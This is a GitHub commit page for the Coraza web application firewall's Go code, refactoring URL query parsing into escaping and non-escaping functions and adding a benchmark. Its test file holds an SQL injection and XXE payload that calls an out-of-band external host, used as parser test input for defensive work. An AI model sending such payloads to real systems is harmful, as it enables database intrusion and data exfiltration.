Skip to content

Commit ec8b21d

Browse files
committed
private doParseQuery avoiding public booleans
1 parent cdd161f commit ec8b21d

File tree

4 files changed

+27
-13
lines changed

4 files changed

+27
-13
lines changed

Diff for: internal/bodyprocessors/urlencoded.go

+1-3
Original file line numberDiff line numberDiff line change
@@ -16,16 +16,14 @@ import (
1616
type urlencodedBodyProcessor struct {
1717
}
1818

19-
const urlUnescape = true
20-
2119
func (*urlencodedBodyProcessor) ProcessRequest(reader io.Reader, v plugintypes.TransactionVariables, options plugintypes.BodyProcessorOptions) error {
2220
buf := new(strings.Builder)
2321
if _, err := io.Copy(buf, reader); err != nil {
2422
return err
2523
}
2624

2725
b := buf.String()
28-
values := urlutil.ParseQuery(b, '&', urlUnescape)
26+
values := urlutil.ParseQuery(b, '&')
2927
argsCol := v.ArgsPost()
3028
for k, vs := range values {
3129
argsCol.Set(k, vs)

Diff for: internal/corazawaf/transaction.go

+2-7
Original file line numberDiff line numberDiff line change
@@ -117,11 +117,6 @@ type Transaction struct {
117117
transformationCache map[transformationKey]*transformationValue
118118
}
119119

120-
const (
121-
urlUnescape = true
122-
noUrlUnescape = false
123-
)
124-
125120
func (tx *Transaction) ID() string {
126121
return tx.id
127122
}
@@ -327,7 +322,7 @@ func (tx *Transaction) AddRequestHeader(key string, value string) {
327322
case "cookie":
328323
// Cookies use the same syntax as GET params but with semicolon (;) separator
329324
// noUrlUnescape is used to avoid implicitly performing an URL decode on the cookies
330-
values := urlutil.ParseQuery(value, ';', noUrlUnescape)
325+
values := urlutil.ParseQueryWithoutUnescape(value, ';')
331326
for k, vr := range values {
332327
for _, v := range vr {
333328
tx.variables.requestCookies.Add(k, v)
@@ -639,7 +634,7 @@ func (tx *Transaction) ProcessConnection(client string, cPort int, server string
639634

640635
// ExtractGetArguments transforms an url encoded string to a map and creates ARGS_GET
641636
func (tx *Transaction) ExtractGetArguments(uri string) {
642-
data := urlutil.ParseQuery(uri, '&', urlUnescape)
637+
data := urlutil.ParseQuery(uri, '&')
643638
for k, vs := range data {
644639
for _, v := range vs {
645640
tx.AddGetRequestArgument(k, v)

Diff for: internal/url/url.go

+15-1
Original file line numberDiff line numberDiff line change
@@ -7,11 +7,25 @@ import (
77
"strings"
88
)
99

10+
const (
11+
urlUnescape = true
12+
noUrlUnescape = false
13+
)
14+
1015
// ParseQuery parses the URL-encoded query string and returns the corresponding map.
1116
// It takes separators as parameter, for example: & or ; or &;
1217
// Setting urlUnescape true performs a non-strict version of net/url.QueryUnescape on keys and values.
1318
// It returns error if the query string is malformed.
14-
func ParseQuery(query string, separator byte, urlUnescape bool) map[string][]string {
19+
func ParseQuery(query string, separator byte) map[string][]string {
20+
return doParseQuery(query, separator, urlUnescape)
21+
}
22+
23+
// Sibling of ParseQuery, but without performing URL unescape of keys and values.
24+
func ParseQueryWithoutUnescape(query string, separator byte) map[string][]string {
25+
return doParseQuery(query, separator, noUrlUnescape)
26+
}
27+
28+
func doParseQuery(query string, separator byte, urlUnescape bool) map[string][]string {
1529
m := make(map[string][]string)
1630
for query != "" {
1731
key := query

Diff for: internal/url/url_test.go

+9-2
Original file line numberDiff line numberDiff line change
@@ -7,14 +7,21 @@ import (
77
"testing"
88
)
99

10+
var parseQueryInput = `var=EmptyValue'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % awpsd SYSTEM "http://0cddnr5evws01h2bfzn5zd0cm3sxvrjv7oufi4.example'||'foo.bar/">%awpsd;`
11+
1012
func TestUrlPayloads(t *testing.T) {
11-
out := `var=EmptyValue'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % awpsd SYSTEM "http://0cddnr5evws01h2bfzn5zd0cm3sxvrjv7oufi4.example'||'foo.bar/">%awpsd;`
12-
q := ParseQuery(out, '&', true)
13+
q := ParseQuery(parseQueryInput, '&')
1314
if len(q["var"]) == 0 {
1415
t.Error("var is empty")
1516
}
1617
}
1718

19+
func BenchmarkParseQuery(b *testing.B) {
20+
for i := 0; i < b.N; i++ {
21+
ParseQuery(parseQueryInput, '&')
22+
}
23+
}
24+
1825
var queryUnescapePayloads = map[string]string{
1926
"sample": "sample",
2027
"s%20ample": "s ample",

0 commit comments

Comments
 (0)